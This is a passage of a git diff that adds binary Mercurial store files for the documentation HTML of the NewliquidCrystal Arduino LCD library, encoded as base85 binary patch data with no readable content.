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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__i2__c__i__o__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__i2__c__i__o__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..7db2bcfdaf571eb680e6dcfcd26f668e1edf6976 GIT binary patch literal 2670 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 L1;gzEKSKTwD0E&a literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__l__c__d__8cpp.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__l__c__d__8cpp.html.i new file mode 100644 index 0000000000000000000000000000000000000000..9b323a81345b89be56ba1b19c3e78f5b9d2ab128 GIT binary patch literal 2333 zcmV+&3F7tu0RRC20000000uw+02Fip00000005}}|NsC0|NsBE@JFd)T*)!&79oQ) zN(=ZYQIgXD00000000000001ZoV{3WPa8Q9{+?gqx>5^LvrA~96p~22q_pVZirVzJ z`-Gg`Nn&v9t?f<7zrV4)o9w2ckg6OK+Ss0V&paNx{jC4FH~9DR1DV*VAeZ0%I6vzV z+Kl6?*S$FI5BlVvPlJnd(u(%TKr?B$bZS;mTn-96vbs`!wrpZzf=@1EX^0gfA(B%?+ zMT!A^HDbcRtCxZ7o55>4JzA0en2M$K>EJyE}12xR`nsnN~L#CZWa(-Q&|SVFGjh+>OHy zx}}dwjRizE*%)Jwsh5@_3i*WvO#vg+vKJk|G^imA^fG>IFzBGyWfL@;B>gyY`h1}umOR1xWGl@Ts6 zChi-^U_Y; z>W{9Y0^HAja0bUP;8=29hJiC{>H(_!NJ9v&tySo;JBF(BPpdH@TascUAH99?^ z44(2KfmaxRywdL}zJSSvHCI@7eqX!mx#X$NrejKmN~bPC_Ueh1I0Bzm%Pn*j@uLH) zWM1N&AC#5Tj&l)kXEUzs*KlQjOJLbt!vR>%k?S$QG8Srx`+JX+3viIW85P!iD?iS` z!gzPwy91&0yEg3)N?K#p?bt83huSqin@BYtz>lNl(mKd6kE6c2)M~8R^byqGbA=SFbPhyWU)SO~ zxlXT-Cf7#gI)NfXTrejt5em+l>>`HQD!oc682`GQkBV63kL)l_oE)M?IK>TdnH`06 z%T|3IR18fv9`^%@u zubv$qQ&GQsknK-cl+cQ=dnc^vS))dtwf+x4@&|T@iX&s!y8iwwIX-xd0 z0}Qb6UI@QczuAV?Ha09fq2F)E{x)_LP1NtV;`LTmY0{PW9|9&y?3xhwIySh_)#KcIq^#Iv1*HpnW8%`o@8)0y~#KgTyl<=*KDVw z+xQO(SFULQ00006KmY&$00LbA02bQ-000000068200030|Ns92_Ob&L>!CECdm=L( zdC7#n&+vo*00000000000001ZoRw7DZqq;z-5?&2;Qp7m9U*O1**ihgh238 zAyg1NMjLyQY*??&?mBJy#vk%6d;#lg-4Y3EX?>ZQojr5Tj0qvX2^knd$Rse_2#n6& zzJoKqP)zNnU_ZP#&*4262_BZ{m$?cI&o)ZL;zN=Tp4~-@5dgC+J#Q zD8zzk9nylkss#wG_u6Eu>VYd=C83pdkKK(kX>9qr4XBayUpgSU;AX*;<-6>Ukh*Dh zrZST_qfjNX*B-p?n#rWaSf9{7{-G2=smw>V{bErc4(DPX&y)G7?RRf& zQZaln9Nti?gKY(Fi=-9BKM8sGz>0WUg)|_m8L8ykJ3=MI4lyB*e${KR`J1Ma*_@em zrtn_>kMI3A7d?RYvlnT}qlNUsyC9>{v`SkhL-S)b}qgF1#eW+^tZ0nOgZ= zCV1H(a{`{OZXI9GXS*YpD+)}Q&SL*5RUu>VwRh61B=BphI@X_PLY^j8xqfwzdTU+&;P~L0*^u1<3Z~BWPD2VLcbOz$lC7z)%l-zWFPx}Id5_# zKHt1iGh|k3p6Y6o0r>?;W^2Xqo9Sc?DYrH`JF9C`#sk^PQ7B3)Ir_MNd|#~sQMQOE zCLfFZE3CwXKpqEQJ1d)q;{($7b@uXfdYF_qKdQwtJt}+I?d#wm1ONsH^WMhy_s^#( z-`eo)cX|n3&f>F#VkeuW9vY_L5oUMb#`bC}$>`w`Zfx;s;+!=q3hD zNSY#ODpkgXOZd-e@}dQH3TT#QJ?|Q_$29PJB@3)vm3WdG~Xk|=kqSCdT03&=toz%79Cv`&*yU=K9BSEmh9o-#}K@#VKgm83n84e)S+83 zV0E1w>d#a4u#sl@#)GD)iNsB+Z^obge(V_dS=7sC(gVIk%u05Clzlhya{GM1Q)nrK zO7bKs^Z)oTX?$9BYM^Ol;uknG%NpgFj@T{SUCsAnuHB$is62cBlqnMR z3zoIHFT)(XCC$=LOFAg5Q;~^&Q)RxVT80fP?>x_|$pN;k*;h+B5Thx;nvh zLM$pXBgK4{fO zLuUpJDlkG`CS(1skV_p(1TpHx1V#50JCI2w?T{|GDFDHfP|IT_DHG)*Jjal+OZ`XyiEPLZC=6tW)Cv=VzSo*G__R4?fDrJT2`9mwCS&8m{_`?uFihvLLNOc)qQ&O}t` zrd@(fZJ^6X0WYx#1VV8XJ4vQHD*6^ivsu}goPUa;vpl)Mmv=PYmPIv0S3M@_b62{Cq9T6+pw+hC>fE>GzGQn;|;z}$sLqif0Y;h88anc+V_uuwR&(uy8$tP-qP zb$|QXd1xUjT^57lFO_nasBdSfwZH2fNjfiV!lKzZ_N-)PCCD>j3mJT}2O&DtNIMq) z0^)aVW*R@V^kmVn%}Q~zi@jDIR^i8wUydrW(Xwe@;rcTZRUo-IzELHAee|k!GeE#q zo7>hrm%d&Ig*viJyAG61j^5&&cuWd=*Yc|<&Oh*JleyM~bGq{0yg%n^b=6k8(Ofs$ z4uWI?#uRo)ldXC!+hE#iCj=a+ialV2=f(MX5|*)-Z=v$ZgxQ30cXOp`5dU{85(TaH{E5X2RP?~=e$*JB)@L|)=sJ=6BZEpFQ zO|Z!Euk*0a7~c^762vcHtmDu4B&xQeXkeXmG)a`{M4mwW#l-Y$3@u#Ra5-pC?n>R8 z;yK(tDWehf+W>fzW}T|43Cn{m1-tua{t@_?^HzN%{rmYu5?yNoedtf4V%oP&HD4!T}&;2m6$JO807%(svq5F$JVUZBC1X;Pu4AZ^Kzq(&N;z>;BR z>>LEOa`YM~Q#w4vv2lF?rbgeYVj7+n>RSm4qjaQ2_73Km<{nu%ql40O#8Boj{@ELU{U~>J`2}*cifpB1Fc0J`*98)h%BuO&K0-laJ z3Uga!{FjUd0-b^yL{v9ZE=)K-PRO+l*ipjU0g|xSv2`>gv(%t?waovj6*V%y=u&Xi z_6Su`+*{!VJ*%b~DUhRpm!pA8Rx!qTnhusI^V8#^Gtl8gtH%Gj7X6pdDu{`suPd=x zqph()HDHW~zTaPMJAk2xmqGhV>_M3`<|hB$dtF0LD`CMah6D_T z30@dmCIj46Z3Z#D8X|qq2P;n8$wE|6Y!8Z*V=95uWF{M{Ps8%zcf2wi95oau;>VE| zdd1YL}t_soRGN9EEkN%x!7<{;aEn{EFUP4jFny8eG^!C^p6*gwBF{Q zI7`yQE*HD2QfLlaV1;@VGWYZ1CDjhG-80@bubX*aN-yY@LrNMcG*;69U_c5PVzD~d zUJ0kc2JcGeifXZSl4^W$(%}MuwD1D%<=1s<{;45vE`$Rkdt!!%au$`$+2IBmB=Ue| zkUuWM>#YV#nCV+?EOgk)D3@5HVnPP zPhJgvY_>0W1DOqXZ!d@DV#C?oS}HN0u=>zSSK*8_Cl~V0p~N@SL+mKOE+SX4aG5q1 